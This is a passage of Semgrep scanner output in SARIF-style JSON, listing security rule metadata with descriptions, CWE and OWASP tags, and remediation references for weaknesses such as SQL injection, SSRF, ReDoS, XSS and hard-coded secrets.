API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","id":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","name":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"No slippage check in a Uniswap v2/v3 trade"},"help":{"markdown":"No slippage check in a Uniswap v2/v3 trade\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check)\n - [https://uniswapv3book.com/docs/milestone_3/slippage-protection/](https://uniswapv3book.com/docs/milestone_3/slippage-protection/)\n","text":"No slippage check in a Uniswap v2/v3 trade"},"helpUri":"https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check","id":"solidity.security.no-slippage-check.no-slippage-check","name":"solidity.security.no-slippage-check.no-slippage-check","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-slippage-check.no-slippage-check"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","id":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","name":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"help":{"markdown":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization)\n - [https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html](https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","id":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","name":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli)\n - [https://pkg.go.dev/database/sql#DB.Query](https://pkg.go.dev/database/sql#DB.Query)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli","id":"go.aws-lambda.security.database-sqli.database-sqli","name":"go.aws-lambda.security.database-sqli.database-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.database-sqli.database-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"help":{"markdown":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection)\n - [https://codeberg.org/fennix/funjection](https://codeberg.org/fennix/funjection)\n","text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"helpUri":"https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection","id":"python.twilio.security.twiml-injection.twiml-injection","name":"python.twilio.security.twiml-injection.twiml-injection","properties":{"precision":"very-high","tags":["CWE-91: XML Injection","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.twilio.security.twiml-injection.twiml-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","id":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","name":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","id":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","name":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"help":{"markdown":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n - [https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code](https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code)\n","text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli","id":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","name":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-slick-sqli.tainted-slick-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","id":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","name":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"help":{"markdown":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","id":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","name":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource](https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource)\n","text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf","id":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","name":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.io-source-ssrf.io-source-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string","id":"python.flask.security.audit.render-template-string.render-template-string","name":"python.flask.security.audit.render-template-string.render-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.render-template-string.render-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","id":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","name":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"help":{"markdown":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services](https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services)\n","text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","id":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","name":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval","id":"python.django.security.injection.code.user-eval.user-eval","name":"python.django.security.injection.code.user-eval.user-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval.user-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Kolide API Key detected"},"help":{"markdown":"Kolide API Key detected\n\n<b>References:</b>\n - [Semgrep 